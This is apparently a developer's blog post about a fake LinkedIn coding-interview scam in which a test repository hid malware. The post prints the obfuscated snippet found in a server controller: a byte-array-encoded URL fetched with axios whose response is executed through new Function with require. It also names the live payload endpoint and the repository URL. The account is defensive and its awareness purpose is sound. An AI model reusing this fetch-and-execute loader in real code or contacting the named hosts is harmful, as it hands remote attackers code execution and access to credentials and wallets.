How a Sophisticated 'Job Interview' Almost Led to a Major Cyber Attack

I was mere seconds away from executing malware on my machine, the attack vector being a meticulously crafted fake coding interview from a seemingly legitimate blockchain company. This incident reveals how a sophisticated scam operation almost compromised my system and offers crucial lessons every developer should heed.

The Setup

Recently, I received a LinkedIn message from Mykola Yanchii, identified as a Chief Blockchain Officer at Symfa. The company appeared real, and the profile boasted over 1,000 connections, exuding legitimacy. The message was professional and engaging: "We're developing BestCity, a platform aimed at transforming real estate workflows. Part-time roles available. Flexible structure."

Having freelanced for eight years, built numerous web applications, and performed extensive code reviews, I consider myself particularly security-conscious. Yet, this outreach seemed entirely credible. I accepted the invitation for a call.

The Hook

Prior to our scheduled meeting, Mykola sent a "test project" – a common practice in tech interviews. It was a React/Node codebase designed to evaluate my skills during a 30-minute assessment.

The Bitbucket repository appeared highly professional, featuring a clean README, comprehensive documentation, and even a generic corporate stock photo. Here's where I nearly made a critical error: I was running late for the call and had limited time to review the code. In my rush, I started inspecting the codebase without executing it first. Typically, I rigorously sandbox all unknown code using Docker containers or isolated environments, but urgency led me to bypass these precautions.

I spent 30 minutes correcting obvious bugs, adding a docker-compose file, and refactoring parts of the code – standard development tasks. I was prepared to run the application and demonstrate my work.

Then, a wave of developer paranoia washed over me.

The Save

Before typing npm start, I paused and posed a critical question to my Cursor AI agent:

"Before I run this application, can you see if there are any suspicious code in this codebase? Like reading files it shouldn't be reading, accessing crypto wallets etc."

The revelation was chilling. Embedded within server/controllers/userController.js was this snippet:

//Get Cookie
(
async
() => {
const
byteArray = [
104
,
116
,
116
,
112
,
115
,
58
,
47
,
47
,
97
,
112
,
105
,
46
,
110
,
112
,
111
,
105
,
110
,
116
,
46
,
105
111
,
47
,
50
,
99
,
52
,
53
,
56
,
54
49
,
50
,
51
,
57
,
99
,
51
,
98
,
50
,
48
,
51
49
,
102
,
98
,
57
];
const
uint8Array =
new
Uint8Array
(byteArray);
const
decoder =
new
TextDecoder(
'utf-8'
);
    axios.get(decoder.decode(uint8Array))
        .then(
response
=>
{
new
Function
(
"require"
, response.data.model)(
require
);
        })
        .catch(
error
=>
{ });
})();

This code was obfuscated, insidious, and fully active – strategically placed among legitimate admin functions, poised to execute with full server privileges the moment administrative routes were accessed.

I decoded the byte array, revealing the URL: https://api.npoint.io/2c458612399c3b2031fb9. Upon accessing it, the URL was live, serving a payload of pure malware designed to steal cryptocurrency wallets, files, passwords, and compromise an entire digital presence. The most unsettling detail: the URL became inactive exactly 24 hours later, indicating the attackers' sophisticated infrastructure for rapid evidence destruction.

I later ran the payload through VirusTotal, confirming its malicious nature with a severe behavior analysis.

The Operation

This was no amateur attempt; it was a highly sophisticated operation:

• The LinkedIn Profile: "Mykola Yanchii" appeared 100% authentic, complete with a detailed work history and typical corporate posts about "innovation" and "blockchain consulting."
• The Company: Symfa maintained a convincing LinkedIn company page, professional branding, multiple listed employees, and posts promoting "transforming real estate with blockchain," along with affiliated pages and follower networks.
• The Approach: The initial outreach exhibited no red flags, using professional language, proposing a reasonable project scope, and even employing Calendly for scheduling.
• The Payload: The malicious code was expertly positioned in a server-side controller, ready for execution with full Node.js privileges upon accessing admin functionality.

The Psychology

Several psychological tactics made this scam particularly dangerous:

• Urgency: "Complete the test before the meeting to save time."
• Authority: A LinkedIn-verified profile, a seemingly real company, and a professional setup.
• Familiarity: A standard take-home coding test, a format familiar to most developers.
• Social Proof: A legitimate-looking company page with real employees and connections.

Even with my inherent paranoia about security, I nearly fell victim.

The Lesson

A simple AI prompt became my savior. It wasn't advanced security tools or expensive antivirus software, but the act of asking my coding assistant to check for suspicious patterns before running unfamiliar code.

The alarming reality is that this attack vector is ideal for developers. We constantly download and execute code from GitHub repositories, npm packages, and coding challenges. Many of us don't sandbox every single instance. Furthermore, this was server-side malware, capable of gaining full Node.js privileges, granting access to environment variables, database connections, file systems, and crypto wallets – everything.

The Scale

If such a sophisticated operation is targeting developers broadly, how many systems have already been compromised? How many production environments are currently vulnerable?

• Perfect Targeting: Developers are prime targets. Our machines often hold the "keys to the kingdom": production credentials, crypto wallets, and sensitive client data.
• Professional Camouflage: The attackers leverage LinkedIn legitimacy, realistic codebases, and standard interview processes to mask their intentions.
• Technical Sophistication: The attack involved multi-layer obfuscation, remote payload delivery, and self-destructing infrastructure, all culminating in server-side execution.

Just one successful infection could jeopardize production systems at major corporations, lead to the theft of millions in cryptocurrency, and expose thousands of users' personal data.

The Bottom Line

For developers receiving job opportunities via LinkedIn:

• Always sandbox unknown code. Utilize Docker containers, virtual machines, or other isolated environments. Never run unfamiliar code directly on your main machine.
• Employ AI to scan for suspicious patterns. This takes mere seconds and could safeguard your entire digital life.
• Verify everything meticulously. A genuine LinkedIn profile doesn't automatically mean a genuine person. A real company doesn't guarantee a real opportunity.
• Trust your instincts. If someone pressures you to execute code quickly, consider it a significant red flag.

This scam was so expertly crafted that it initially bypassed my typical skepticism. However, a moment of paranoia and a quick AI scan unveiled the entire scheme.

The next time you're presented with a "coding challenge," remember this story. Your crypto wallet, and indeed your entire digital security, will thank you. If you've previously run "coding challenges" from LinkedIn recruiters, it's prudent to review your systems carefully.

Evidentiary Screenshots:

LinkedIn profiles:

Messages:

Bitbucket repository: The Bitbucket URL was: https://bitbucket.org/0x3bestcity/test_version/src/main/